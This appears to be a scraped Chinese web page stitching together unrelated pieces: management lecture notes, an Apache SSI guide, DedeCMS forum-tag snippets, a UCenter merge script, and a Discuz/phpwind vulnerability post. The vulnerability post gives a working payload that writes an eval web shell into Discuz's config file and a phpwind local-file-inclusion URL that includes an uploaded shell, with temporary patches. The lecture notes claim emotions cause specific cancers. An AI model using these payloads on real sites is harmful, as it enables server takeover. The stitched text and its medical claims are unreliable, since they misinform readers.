余世维讲座:意愿和能力,授权接班人的技巧
公司管理上等方面上各有两个变数:第一个是重要好紧急这两个轴;第二个是效果和效率这两个轴。在这些方面做决策就可以抓到要点!
1. 有意愿、有能力 3. 无意愿、有能力
2. 有意愿、无能力 4. 无意愿、无能力
完成任务的条件(能力)愿意投入到工作的态度(意愿)
要有心、又有能力的安排成你的接班人,
见微知著,所谓观其眸子察其言也,就是这个意思。
一个人、他的表现如果你认真的观察,是藏不住的
作为管理层要给下属合理性升迁,(包括暂时性)
余世维讲座:领导层做出正确的决策,客户在哪里?
作为领导我们必须知道客户再想什么,切忌闭门造车,。做决策的前奏应该鸟瞰市场,(顾客)同时应该把握好不要偏离自己的核心产品!
作为一个领导要要把注意力放到最重要的地方,不是说每天处理过多少时期,而是要看有没有做出重大意义的决策或有没有做错很糟糕的决策!
1. 很重要、不紧急 3. 不重要、很紧急
2. 很重要、不紧急 4. 不重要、不紧急
重要性的_影响深远 和 紧急性的需要立刻处理!
1. 有效果、有效率 3. 无效果、有效率
2. 有效果、无效率 4. 无效果、无效率
效果和效率如果非要选择宁愿效果。不要说没有用的话、不要做没有用的事、不要写没有用的报告、不要开没有用的会。
余世维讲座:团队的自主性、思考性、合作性
部门与部门之间要要很好的衔接,不是领导及领导之间的沟通而是团队最基础员工间的相互沟通
作为公司领导,我们可以决策战略但我们不能决定每件事情。
余世维与调色师的故事:这个红色好看吗?
亲爱的余副总:这个口红的颜色,现在还没有完全定案,定案以后我一定拿给你看。你有权决定用还是不用,所以现在不需要这么慌张。
亲爱的余副总:我是一个专业的调色师,我有我的眼光,你如果决定你调的比我好,下个礼拜开始你调。
亲爱的余副总:我这个口红是给女人擦的,听说你是个男人,如果你喜欢,女人都不喜欢 完了!如何女人都喜欢,你不喜欢 没有关系。
红色文字是作为管理层,常常爱讲的废话,公司员工应该发挥他们的思考性、自主性、合作性。若阻断了这种功能,让他们变成不自主、不思考、也不合作了!就是我们的领导废话太多!
最为有自主能力的部下,不会轻易的去敲领导的门!领导也不要随意的干涉部署的细节上工作!
相信你的团队!
1. 从小教育孩子不能惯!
余世维讲座,压力舒缓、(修身养性、体能革命)
舒缓压力,不要太忙、不要太闲……
增强体能--(修身养性)(体内革命)---
以下摘自《医药大典》怒伤肝、悲伤肺、喜伤心、恐伤肾、忧伤脾、
佛经上讲:怕死引起肺癌、对立引起乳癌、义务纠纷引起直肠癌、怀恨以前肝癌、心灵空虚引起骨癌、家庭失和引起胃癌。
修身养性:望云、穿海、抱树、借用宇宙的力舒缓自己的压力! 病由心生(吸烟)
体内革命:二十碳五稀酸、二十二碳六稀酸、对脑及其心脏 建议要多吃鱼类
抵抗压力及其抗癌的能力……
AQ ——命运我们无法改变,我们可以改变的是对待命运的态度
一个企业是靠文化铸造的、硬件设备相对虚幻,
一个人要耐活,身体要很好,尽管IQ 、 EO 、AQ 都很好,要从修身养性、体能革命、来打造身体!
在次基础,再强化你的其他技能。
让apache支持shtml 文件
什么是SSI?
SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。
如何使你的Apache服务器支持SSI?
Apache默认是不支持SSI的,需要我们更改httpd.conf来进行配置。我这里以windows平台的Apache 2.0.x为例,打开conf目录下的httpd.conf文件,搜索“AddType text/html .shtml”,搜索结果:
- # AddType text/html .shtml
- # AddOutputFilter INCLUDES .shtml
把这两行前面的#去掉。
- 然后搜索“Options Indexes FollowSymLinks”
- 在搜索到的那一行后面添加“ Includes”
- 即将该行改变为 Options Indexes FollowSymLinks Includes
保存httpd.conf,重起apache即可。
到此我们就完成了对Apache SSI的设置。
discuz和phpwind的漏洞
多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。
一、discuz后台settings.inc.php中写shell漏洞:
- if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {
- $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];
- if($settingsnew['uc']['connect']) {
- $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);
- if(!$uc_dblink) {
- cpmsg('uc_database_connect_error', '', 'error');
- } else {
- mysql_close($uc_dblink);
- }
- }
- $fp = fopen('./config.inc.php', 'r');
- $configfile = fread($fp, filesize('./config.inc.php'));
- $configfile = trim($configfile);
- $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
- fclose($fp);
- $connect = '';
- if($settingsnew['uc']['connect']) {
- require './config.inc.php';
- $connect = 'mysql';
- $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
- $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
- $configfile = insertconfig($configfile, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com
- $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");
- $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");
- //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");
- }
- $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");
- $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");
- $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");
- $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");
- $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");
- $fp = fopen('./config.inc.php', 'w');
- if(!($fp = @fopen('./config.inc.php', 'w'))) {
- cpmsg('uc_config_write_error', '', 'error');
- }
- @fwrite($fp, trim($configfile));
- @fclose($fp);
- }
漏洞详情:
settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。
- function insertconfig($s, $find, $replace) {
- if(preg_match($find, $s)) {
- $s = preg_replace($find, $replace, $s);//正则匹配替换数据
- } else {
- $s .= "\r\n".$replace;
- }
- return $s;
- }
漏洞测试:
步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。
临时补丁:
在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:
- foreach($settingsnew['uc'] as $key => $value){
- $settingsnew['uc'][$key]=str_replace(')','',$value);
- }
二、phpwind后台本地包含漏洞:
漏洞详情:
文件:hack\rate\admin.php
源码:
- <?php
- !function_exists('readover') && exit('Forbidden');
- define ( "H_R", R_P . "hack/rate/" );
- define ( "L_R", R_P . "lib/" );
- InitGP ( array ('ajax' ) );
- $action = strtolower ( ($job) ? $job : "admin" );
- $filepath = H_R . "action/" . $action . "Action.php";
- (! file_exists ( $filepath )) && exit ();
- if ($job != "ajax") {
- require H_R . '/template/layout.php';
- } else {
- require_once $filepath;
- }
- ?>
$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:
漏洞测试:
先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/
临时补丁:
- $filepath = H_R . "action/" . $action . "Action.php";
替换为:
- $filepath = Pcv(H_R . "action/" . $action . "Action.php");
DEDE如何调用phpwind论坛指定的新帖 loop调用discuz大全
在DEDE中,这是调用论坛新帖的代码,那么如何实现调用如从第三开始到第十的帖子呢?在DEDE中有个limit"3,10"的条件项,在调用phpwind论坛要如何实现这个功能??
{dede:loop table='pw_threads' sort='tid' row='4' if='fid=10'}
<li> <a href="../read.php?tid=[field:tid/]">[field:subject function="cn_substr('@me',28)"/]
</a> </li>{/dede:loop}
注意一点:要pw_threads换成你的数据库名称,且要在同一个数据库里面。
{dede:loop table="pw_threads" sort="tid" row="17"}
<li>
<a href='/Forum/read-Server-tid-[field:tid /].html' target="_blank">
[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d','@me')" /])
</a></li>
{/dede:loop}
[5.3版] 用Loop解决首页调用自定义字段!
{dede:loop table="自定义字段所在的表名" sort='aid' row="显示的条数" if="typeid =栏目ID"}
[field:自定义的字段名 /]
{/dede:loop}
参考代码:
{dede:loop table="dede_addonarticle" sort='aid' row="10" if="typeid =1"}
[field:zdy /]
{/dede:loop}
比较简单的方法,个人认为比SQL好用。
然后把
{dede:loop table="pw_threads" sort="tid" row="10"}
<a href='/phpwind/read.php?tid=[field:tid /]'>
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
这段加入到你的模板里就可以了。
loop调用discuz大全
我想在首页调用特定栏目的精华帖,但是JS太慢,想生成HTML。
我现在是这样调最新帖的,请问怎么调某个板块的精华帖?
论坛最新主题:<br/>
{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
刚刚试了下,这样可以调特定板块的主题,现在就想问,怎么调精华主题?
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
再次发现,这样可以显示精华帖。
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 AND digest>0 and displayorder!=-1 " sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
这样又可以按查看次数排序:
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
今天我告诉大家一些在织梦dedecms里面调用discuz论坛帖子的一些方法,这些方法都是好不容易从网上搜来的,这次一次奉献给大家啦。
首先要注意的是下面的代码中都有table="cdb_threads"这句。这句不是适用所有网站的,这个地方cbd是你论坛的表前缀名称,大家根据自己的论坛修改成合适的表前缀名。再者,我是把织梦和discuz 论坛放在一个数据库里面的,才开始放在两个数据库,整合了半天不成功,不知道是什么原因。后面放在一个数据库里面成功了。但是没有在放到两个数据库里面做测试,大家也可以测试下,告诉我结果了。按道理来说不限制放进同一个数据库才合理些!最后m-d H:M 带表是发布的时间,如果只要(日-月)时间格式的,把 H:M去掉即可。
1、论坛最新主题调用代码如下:
{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
这个连接地址你可以写相对路径,也可以写绝对路径。
如果是discuz动态论坛,链接地址如http://bbs.xxx.com/viewthread.php?tid=[field:tid /]
如果是discuz静态论坛,连接地址如http://bbs.xxx.com/thread-[field:tid /]-1-1.html
2、论坛指定版块帖子调用方法:
{ dede:loop table="cdb_threads" if="fid=1 or fid=2 and displayorder!=-1" sort="tid" row="6" }
<a href="/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',50)" /] </a>
<br/>
{ /dede:loop }
其中的fid=1 or fid=2是论坛主题分类id,可以按照自己要求来修改,如果是一个分类就直接写fid=x
3、论坛调精华主题调用代码如下:
{dede:loop table="cdb_threads" if="displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
如果想调用某个板块的精华主题代码如下:
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
其中的fid=5是论坛主题分类id,可以按照自己要求来修改,
如果想调用论坛所有的板块的最新精华主题只要去掉fid=5 and 就可以了。
4、调用的帖子列表这可以按查看次数排序,代码如下:
{dede:loop table="cdb_threads" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
其中sort="views" 就是控制按照查看次数排序的代码
5、论坛置顶版块帖子调用方法举例:
{ dede:loop table="cdb_threads" sort="dateline" if="fid='3' and typeid='51'" row="10" }
<a href="/a/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',30)" /]</a> <br>
{ /dede:loop }
6、论坛版块名称调用方法:
{ dede:loop table="cdb_forums" sort="displayorder" row="16" col="4" }
<a href="/bbs/viewthread dot php?fid=[field:fid /]">·[field:name function="cn_substr(' @me',30)" /] </a>
{ /dede:loop }
注:这种方法这个还有点问题,它会将论坛分区、版块都调出来。望达人改进!
附:dedecms的LOOP 标记规则
功能说明:用于调用任意表的数据,一般用于调用论坛贴子之类的操作
适用范围:所有模板
基本语法:
{ dede:loop table=' sort='' row='' if='' }
[1] table 表示查询的数据表
[2] sort 用于排序的字段 也可以加"views"(查看次数排列)
[3] row 返回结果的条数
[4] if 查询条件
7、调用论坛帖子中的图片方法,网上搜到的,我自己还没有做测试。
{dede:sql sql="SELECT`cdb_attachments`.`aid`,`cdb_attachments`.`attachment`,`cdb_threads`.`tid`, `cdb_threads`.`fid`,`cdb_threads`.`subject` FROM `cdb_attachments` LEFT JOIN `cdb_threads`
ON`cdb_threads`.`tid`=`cdb_attachments`.`tid` WHERE `cdb_attachments`.`readperm`='0' AND`displayorder`>='0' AND `filetype`='image/pjpeg' GROUP BY tid LIMIT 0,1 "}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
<img src="/bbs/attachments/[field:attachment/]" ALT="[field:subject/]" width="100" height="80" border="0" />
</A>
{/dede:sql}
ucenter数据合并转换
实现两个ucenter之间的数据合并。合并的时候发现目标ucenter已经存在帐号就不再导入。源数据库为gbk 目标数据库为utf-8
- <?php
- $old_link=mysql_connect("192.168.22.30","root","") or die("connect old db fail");
- mysql_select_db("gbk", $old_link) or die("select old db fail");
- mysql_query("SET NAMES 'GBK'",$old_link);
- $new_link=mysql_connect("192.168.79.42","root","root") or die("connect new db fail");
- mysql_select_db("beijing_bbs", $new_link) or die("select new db fail");
- mysql_query("SET NAMES 'UTF-8'",$new_link);
- $old_uc_dbname="hcdb_members";
- $new_uc_dbname="uc_members";
- $maxuid=file_get_contents("old2new.txt");
- $old_sql="select * from $old_uc_dbname where uid>$maxuid limit 1";
- $old_result=mysql_query($old_sql,$old_link);
- while($old_row=mysql_fetch_array($old_result)){
- $uid=$old_row["uid"];
- $username= iconv('GBK','UTF-8',$old_row["username"]);
- $password=$old_row["password"];
- $email=$old_row["email"];
- $myid=$old_row["myid"];
- $myidkey=$old_row["myidkey"];
- $regip=$old_row["regip"];
- $regdate=$old_row["regdate"];
- $lastloginip=$old_row["lastloginip"];
- $lastlogintime=$old_row["lastlogintime"];
- $salt=$old_row["salt"];
- $secques=$old_row["secques"];
- $sql="select uid from $new_uc_dbname where username='$username'";
- mysql_query($sql,$new_link);
- $num=mysql_affected_rows($new_link);
- echo $num.$username."<br>";
- if($num==0){
- $sql="insert into $new_uc_dbname(username,password,email,myid,myidkey,regip,regdate,lastloginip,lastlogintime,salt,secques) values('$username','$password','$email','$myid','$myidkey','$regip','$regdate','$lastloginip','$lastlogintime','$salt','$secques')";
- echo "$sql";
- mysql_query($sql,$new_link);
- echo "${username}插入成功<br>";
- }else
- {
- echo "${username}已经存在<br>\n";
- }
- file_put_contents("old2new.txt",$uid);
- }
- ?>
变量 $file_name 可以来自上传域或者指定为其他
- <?//方法一:
- function extend($file_name)
- {
- $retval="";
- $pt=strrpos($file_name, ".");
- if ($pt) $retval=substr($file_name, $pt+1, strlen($file_name) - $pt);
- return ($retval);
- }
- //方法二(PHP4.03及更高版本)
- $extend = pathinfo($file_name);
- $extend = strtolower($extend["extension"]);
- echo $extend;
- ?>